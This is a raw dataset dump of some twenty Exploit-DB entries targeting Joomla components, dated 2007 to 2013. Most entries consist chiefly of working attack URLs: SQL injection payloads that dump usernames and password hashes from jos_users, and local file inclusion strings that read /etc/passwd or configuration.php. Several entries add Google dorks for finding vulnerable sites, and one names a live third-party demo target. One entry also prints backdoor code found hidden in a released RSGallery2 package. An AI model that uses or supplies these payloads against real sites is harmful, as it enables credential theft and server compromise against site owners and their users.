deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11767
Description: Joomla! Component com_route - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-15
Author: N2n-Hacker

Exploit:
#########################################################################
#########################################################################
###                                                                   ###
###             [ Joomla com_route&kid Sql Injection Vulnerability ]  ###
###                                                                   ###
###                       N2n-Hacker ----- 2nd@live.fr<mailto:2nd@live.fr>                ###
###                                                                   ###
###                                                                   ###
#########################################################################
#########################################################################
#                                                                       #
#                                                                       #
# Searching = ---" option=com_route "---                                #
#                                                                       #
#                                                                       #
#  USING =  http://www.site.com/index.php?option=com_route&kid=-35022+  #
#  UNION+SELECT+1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,#
#  13,14,15,16,17,18,19,20,21 FROM JOOMLA USERS--&routing               #
#                                                                       #
#                                                                       #
#           \\\\\\\\\\\\\\\\\\ Activer khfif drif //////////////////    #
#                                                                       #
#########################################################################
#                   My Bad Life But Not For4ver nchallah                #
#########################################################################
Exploit-DB #11743
Description: Joomla! Component com_rpx Ulti RPX 2.1.0 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-03-15
Author: jdc

Exploit:
Joomla component Ulti RPX 2.1.0 Local File Include
Version     : 2.1.0
Author      : jdc
Download : http://www.ultijoomla.com/downloads?func=fileinfo&id=33

http://site/index.php?option=com_rpx&controller=../../../../../etc/passwd%00 


jdc 2010
Exploit-DB #17553
Description: Joomla! Component com_rsappt_pro2 - Local File Inclusion
Type: webapps
Platform: php
Date: 2011-07-20
Author: Don Tukulesto

Exploit:
Appointment Booking Pro is a native Joomla component
=================================
Last login: Tue Jun  7 2010 10:20:22 on ttys000
                                 ______                                 ___
        ______               ___/  /  /                                /  /
       /  /  /___  ____  ___/__   /  /  ____  ____  _______  ____  ___/  /
   :  /  /  /    \/__  \/  /  /  /    \/    \/    \/  /    \/    \/     /
   | /  /  /  /  /     /  /  /  /  /  /  /  /  /__/  /  /__/  /  /  /  /
 --X-- /  /  /  /  /  /  /  /  /  /  /  /  /  /  /  /__   /   __/  /  /
   |\____/__/__/\____/\____/__/__/__/\____/__/  /__/  /  /\____/\____/
   :                   ____                        \____/:
                      /    \____  ____  ____  ____  ____ |
                     /  /  /    \/    \/    \/    \/   --X--
 Don Tukulesto      /     /  /__/  /__/  /  /  /__/  /__/| 
                   /  /  /  /  /  /  /   __/__   /__   / :
                  /__/__/\____/\____/\____/  /  /  /  /
                   www.indonesiancoder.com\____/\____/ 

Author		: Don Tukulesto (root@indonesiancoder.com)
Homepage	: http://indonesiancoder.com
Published	: July 17, 2011
Tested On	: OS X 10.5.8
=================================


=================================
|	Software Info		|
=================================
[>] Vendor      : http://www.appointmentbookingpro.com/
[>] Software    : Appointment Booking Pro - ABPro
	      Appointment Booking Pro is an appointment booking or scheduling, web site component.
[>] Cost        : $59

I. Proof of Concept
=================================
index.php?option=com_rsappt_pro2&view=../../../etc/passwd%0000

III. Vendor patch
=================================
Currently manufacturers do not provide patches or upgrades.


=================================

[>] INDONESIAN CODER ~ Server is Down ~ Malang Cyber Crew ~ Magelang Cyber ~ AntiSecurity ~ Exploit-ID
[>] M364TR0N ~ Gonzhack ~ ibl13Z ~ kaMtiEz ~ k4L0ng666 ~ vYc0D ~ Xr0b0t ~ N4ck0 ~ r3m1ck ~ Kidd ~ Jundab
[>] yur4kh4 ~ aN93l1c ~ Arianom ~ Pathloader ~ Contrex ~ Mboys ~ n4KuLa_ ~ m4ho666 ~ jos_ali_joe ~ mengau
[>] kecemplungkalen ~ YaDoY666 ~ Jack- ~ xshadow ~ s4va ~ NoGe ~ kido ~ t3ll0 ~ cimpli ~ Xadal ~ Cyb3r_Tr0n

We are the watchmen, the hackers who quietly observe the scene.
bit.ly/OpIDC

=================================
Exploit-DB #24851
Description: Joomla! Component com_rsfiles - 'cid' SQL Injection
Type: webapps
Platform: php
Date: 2013-03-18
Author: ByEge

Exploit:
*******************************************************************************
# Title   :  Joomla Component RSfiles <= (cid) SQL injection Vulnerability
# Author  :  ByEge
# Contact :  http://byege.blogspot.com
# Date    :  18.03.2013
# S.Page  :  http://www.rsjoomla.com
# Dork    :  inurl:index.php?option=com_rsfiles
# DorkEx  :  http://www.google.com.tr/#hl=tr&sclient=psy-ab&q=inurl:index.php?option=com_rsfiles

Vulnerability : ?option=com_rsfiles&view=files&layout=agreement&tmpl=component&cid=1/**/aNd/**/1=0/**/uNioN++sElecT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version())--

[[SQL Injection Test]]]

http://server/?option=com_rsfiles&view=files&layout=agreement&tmpl=component&cid=1/**/aNd/**/1=0/**/uNioN++sElecT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version())--

*********************************
# Turkey.
Exploit-DB #8801
Description: Joomla! Component com_rsgallery2 1.14.x/2.x - Remote Backdoor Access
Type: webapps
Platform: php
Date: 2009-05-26
Author: Jan Van Niekerk

Exploit:
Vulnerability:
	Remote code execution back door(s)

Software:
	RSGallery2 - Gallery Extension for Joomla!
	We are currently working on a new website. All files are still available at 
	the JoomlaCode project page.

Severity:
	Not a big deal.  Joomla components contain all sorts of obfuscated junk all 
	the time.  Who cares what it does?

URLs:
http://rsgallery2.net/
http://joomlacode.org/gf/download/frsrelease/6756/38088/com_rsgallery2_legacy_1.14.3.zip
http://joomlacode.org/gf/download/frsrelease/7791/36662/com_rsgallery2_2.0.0b1.zip

Joomlacode.org says, about these releases:
	RSGallery2 1.14.3 Security Release
	Jonah Braun
	2008-02-13
	This is an updated production alpha containing a low threat security fix. If 
	you use commenting you should upgrade. An option to show/hide the Search box 	
	has also been added. See the official site for downloads and support: 
	http://rsgallery2.net/

	RSGallery2 2.0.0b1 released
	John Caprez
	2008-06-23
	This is the first version of RSGallery2 that runs in Joomla 1.5 native mode.
 
	Special thanks goes to all the translators providing the updated language 
	files and the testers of the nightly builds.
 	Download it and enjoy. Feel free to report any bugs or problems in the forum 
	at the RSGallery2 main web site 

Vendor notified:
  I tried.  Not very hard though.  joomlacode doesn't seem to have a security 
  contact and links to joomla.org as if they are the same crowd.  I'm sending 
  a BCC to the given address for Jonah Braun though.  I'll send it to bugtraq, 
  and they will sit on it for a few hours.
  http://developer.joomla.org/security.html
      Huh?  Do I need more coffee, or does this page say to contact them using 
      the details at this page?  So you do that, and it says ... no wait, 
      infloop.  Oh wait, there is a contact form.  Filled something in.  Blah.

Vulnerability:

% wget \
http://joomlacode.org/gf/download/frsrelease/6756/38088/com_rsgallery2_legacy_1.14.3.zip

% unzip com_rsgallery2_legacy_1.14.3.zip

% egrep -r '(eval|exec).*POST' .

./language/english-utf8.php:                $result = 
shell_exec($_POST['cmd'] . " 2>&1 ; pwd");
./language/english-utf8.php:            $result = shell_exec($_POST['cmd'] . " 
2>&1");
./includes/rsgallery.class.php:$out = execute($_POST['cmd']);
./includes/rsgallery.class.php:eval($_POST['php']);
./includes/rsgallery.class.php:$out = execute($_POST['alias']);

There's other fun obfuscated javascript hiding in 'eval's'.

Ditto version 2

nuf sed  &:-)

# milw0rm.com [2009-05-26]
Exploit-DB #33582
Description: Joomla! Component com_rsgallery2 2.0 - 'catid' SQL Injection
Type: webapps
Platform: php
Date: 2010-01-31
Author: snakespc

Exploit:
source: https://www.securityfocus.com/bid/38009/info

The 'com_rsgallery2' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_rsgallery2&page=inline&id=5&catid=-1+union+select+1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12,13+from+jos_users--
Exploit-DB #11772
Description: Joomla! Component com_rwcards - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-03-16
Author: ALTBTA

Exploit:
####################################################################
>>>>> Author : altbta [l_9@hotmail.com<mailto:l_9@hotmail.com>]
>>>>> Team : Sec Attack Team
>>>>> Home : www.v4-team.com/cc<http://www.v4-team.com/cc>
>>>>> Script : Joomla Component com_rwcards
>>>>> Bug Type : Local File Inclusion [LFI]
>>>>> Dork : inurl:"com_rwcards"

####################################################################

===[ Exploit ]===

http://site/index.php?option=com_rwcards&view=rwcards&controller=[LFI]
http://site/index.php?option=com_rwcards&view=rwcards&controller=../../../../../../../../../../etc/passwd%00

and

http://site/index.php?option=com_rwcards&controller=[LFI]
http://site/index.php?option=com_rwcards&controller=../../../../../../../../../../etc/passwd%00

####################################################################
RxH & &#1575;&#1576;&#1608; &#1593;&#1584;&#1575;&#1576;
Exploit-DB #25410
Description: Joomla! Component com_s5clanroster - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2013-05-13
Author: AtT4CKxT3rR0r1ST

Exploit:
Joomla Component com_s5clanroster Sql Injection Vulnerability
==============================================================
 
####################################################################
.:. Author         : AtT4CKxT3rR0r1ST  [F.Hack@w.cn]
.:. Dork           : inurl:"com_s5clanroster"
.:. Script         : http://www.shape5.com/product_details/club_extensions/s5_clan_roster.html
####################################################################
===[ Exploit ]===

Sql Injection:
==============

server/index.php?option=com_s5clanroster&view=s5clanroster&layout=category&task=category&id=1[sql]

server/index.php?option=com_s5clanroster&view=s5clanroster&layout=category&task=category&id=-null'+/*!50000UnIoN*/+/*!50000SeLeCt*/group_concat(username,0x3a,password),222+from+jos_users-- -
####################################################################
Exploit-DB #12231
Description: Joomla! Component com_s5clanroster - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-04-14
Author: AntiSecurity

Exploit:
==================================================================================================================


  [o] Joomla Component S5 Clan Roster Local File Inclusion Vulnerability
 
       Software : com_s5clanroster
       Vendor   : http://www.shape5.com
       Author   : AntiSecurity [ s4va Vrs-hCk NoGe OoN_BoY Paman zxvf ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


==================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_s5clanroster&view=[LFI]
       http://localhost/[path]/index.php?option=com_s5clanroster&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_s5clanroster&view=../../../../../../../../../../etc/passwd%00
       http://localhost/index.php?option=com_s5clanroster&controller=../../../../../../../../../../etc/passwd%00


==================================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


==================================================================================================================


  [o] April 14 2010 - GMT +07:00 Jakarta, Indonesia
Exploit-DB #34071
Description: Joomla! Component com_sar_news - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2010-06-02
Author: LynX

Exploit:
source: https://www.securityfocus.com/bid/40501/info

The 'com_sar_news' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_sar_news&id=80/**/AND/**/1=2/**/UNION/**/SELECT/**/1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33/*&sort_by=ordering
Exploit-DB #11708
Description: Joomla! Component com_sbsfile - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-03-13
Author: DevilZ TM

Exploit:
[~]######################################### InformatioN #############################################[~]
 
[~] Title     : Joomla Component com_sbsfile Local File Inclusion
[~] Author    : DevilZ TM By D3v1l
[~] Homepage  : http://www.DEVILZTM.com
[~] Contact   : DevilZTM@Gmail.CoM & D3v1l.blackhat@yahoo.com
 
[~]#########################################   ExploiT   #############################################[~]
 
[~] Vulnerable File :
 
http://127.0.0.1/index.php?option=com_sbsfile&controller=[LFI]
 
[~] ExploiT         :
 
../../../../../../../etc/passwd%00
 
[~] Example         :
 
http://127.0.0.1/index.php?option=com_sbsfile&controller=../../../../../../../etc/passwd%00

  
[~]######################################### ThankS To ... ############################################[~]
 
[~] Special Thanks To My Best FriendS :
 
Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS
 
[~] IRANIAN Young HackerZ
 
[~]#########################################   FinisH :D   #############################################[~]
Exploit-DB #8891
Description: Joomla! Component com_school 1.4 - 'classid' SQL Injection
Type: webapps
Platform: php
Date: 2009-06-08
Author: Chip d3 bi0s

Exploit:
----------------------------------------------------------------------
Joomla Component com_school (classid) SQL injection Vulnerability
----------------------------------------------------------------------

 ###################################################
 [+] Author        :  Chip D3 Bi0s
 [+] Email         :  chipdebios[alt+64]gmail.com
 [+] Group         :  LatinHackTeam
 [+] Vulnerability :  SQL injection
 ###################################################

________________________________________________________

Example:

 http://localHost/path/index.php?option=com_school&Itemid=null&func=showclass&classid=<sql Code>

 <Sql Code>:
 -null'+union+select+concat(username,0x3a,password)ChipD3Bi0s,null+from+jos_users/*
 

Demo Live:
http://www.mariadecervello.com/index.php?option=com_school&Itemid=null&func=showclass&classid=-null'+union+select+concat(username,0x3a,password)ChipD3Bi0s,null+from+jos_users/*


+++++++++++++++++++++++++++++++++
[!] Produced in South America
------------------------------------


<name>school</name>
<creationDate>18 July 2006</creationDate>
<author>Soner (pisdoktor) Ekici - Alex Chaparro</author>
<copyright>
This component in released under the GNU/GPL License
</copyright>
<authorEmail>damj3t@gmail.com</authorEmail>
<authorUrl>www.joomla.cl</authorUrl>
<version>1.4</version>

# milw0rm.com [2009-06-08]
Exploit-DB #10640
Description: Joomla! Component com_schools - SQL Injection
Type: webapps
Platform: php
Date: 2009-12-24
Author: Mr.tro0oqy

Exploit:
Joomla Component com_schools SQL injection
author:Mr.tro0oqy
email:t.4@windowslive.com


exp:
http://server/path/index.php?option=com_schools&Itemid=89&schoolid=-53+union+select+1,group_concat(username,0x3a,password),3,4,5,6,7,8,9,10,11+from+jos_users--






demo :


http://server/index.php?option=com_schools&Itemid=89&schoolid=-53+union+select+1,group_concat(username,0x3a,password),3,4,5,6,7,8,9,10,11+from+jos_users--




qtaaaaaaaaf :)
Exploit-DB #11918
Description: Joomla! Component com_science - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-28
Author: DevilZ TM

Exploit:
# Title : Joomla Component com_science SQL Injection Vulnerability
# Author: DevilZ TM
# Data  : 2010-03-28

[~]######################################### InformatioN #############################################[~]
 
[~] Title     : Joomla Component com_science SQL Injection Vulnerability
[~] Author    : DevilZ TM By D3v1l
[~] Homepage  : http://www.DEVILZTM.com
[~] Email     : Expl0it@DevilZTM.Com
[~] Contact   : D3v1l.blackhat@yahoo.com
 
[~]#########################################   ExploiT   #############################################[~]
 
[~] Vulnerable File :
 
http://127.0.0.1/index.php?option=com_science&view=science&id=[SQL]
 
[~] ExploiT         :
 
-1 UNION SELECT 1,2,3,4,5
 
[~] Example         :
 
http://127.0.0.1/index.php?option=com_science&view=science&id=-1 UNION SELECT 1,2,3,4,5

  
[~]######################################### ThankS To ... ############################################[~]
 
[~] Special Thanks To My Best FriendS :
 
Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS
 
[~] IRANIAN Young HackerZ
 
[~]#########################################   FinisH :D   #############################################[~]
Exploit-DB #30849
Description: Joomla! Component com_search 1.5 RC3 - 'index.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2007-12-05
Author: beenudel1986

Exploit:
source: https://www.securityfocus.com/bid/26707/info
 
Joomla! is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Joomla! 1.5 RC3 is vulnerable; other versions may also be affected.
 
UPDATE (December 10, 2007): The validity of the issues is being disputed on the Joomla! Bug Tracker. Please see the references for details. Reports indicate that the related message was posted by a Joomla! developer, but this has not been confirmed.
 
http://www.example.com/index.php?searchword=&task=somechars%27+%2B+%27search&option=com_search
http://www.example.com/index.php?searchword=&task=search&option=somechars%27+%2B+%27com_search
Exploit-DB #12594
Description: Joomla! Component com_sebercart - 'getPic.php' Local File Disclosure
Type: webapps
Platform: php
Date: 2010-05-13
Author: AntiSecurity

Exploit:
=========================================================================================================


  [o] Joomla Component Seber Cart Local File Disclosure Vulnerability
 
       Software : com_sebercart version 1.0.0.1x
       Vendor   : http://www.seber.com.au/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[dot]antisecurity[dot]org
       Home     : http://antisecurity.org/


=========================================================================================================

  [o] Vulnerable File

      components/com_sebercart/getPic.php

       if (file_exists($_GET['p'] . "/components/com_sebercart/thumbs/" . $_GET['pk'] . ".jpg"))
	{	
	header('Content-type: image/jpeg');
	header('Content-Disposition: attachment; filename="image.jpg"');
	readfile($_GET['p'] . "/components/com_sebercart/thumbs/" . $_GET['pk'] . ".jpg");
	}


  [o] Exploit

       http://localhost/[path]/components/com_sebercart/getPic.php?p=[LFD]%00

	Download the image.jpg file and open with notepad or gedit.


  [o] PoC

       http://localhost/components/com_sebercart/getPic.php?p=../../configuration.php%00


=========================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11 inc0mp13te
       ArRay bjork xmazinha & all people in #evilc0de [at] irc.byroe.net


=========================================================================================================


  [o] May 13 2010 - GMT +07:00 Jakarta, Indonesia
Exploit-DB #11759
Description: Joomla! Component com_sectionex - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-03-15
Author: AtT4CKxT3rR0r1ST

Exploit:
####################################################################
.:. Author : AtT4CKxT3rR0r1ST [F.Hack@w.cn]
.:. Team : Sec Attack Team
.:. Home : www.sec-attack.com/vb
.:. Script : Joomla Component com_sectionex
.:. Bug Type : Local File Inclusion [LFI]
.:. Dork : inurl:"com_sectionex"

####################################################################

===[ Exploit ]===

www.site.com/index.php?option=com_sectionex&controller=[LFI]
www.site.com/index.php?option=com_sectionex&controller=../../../../../../../../../../etc/passwd%00

####################################################################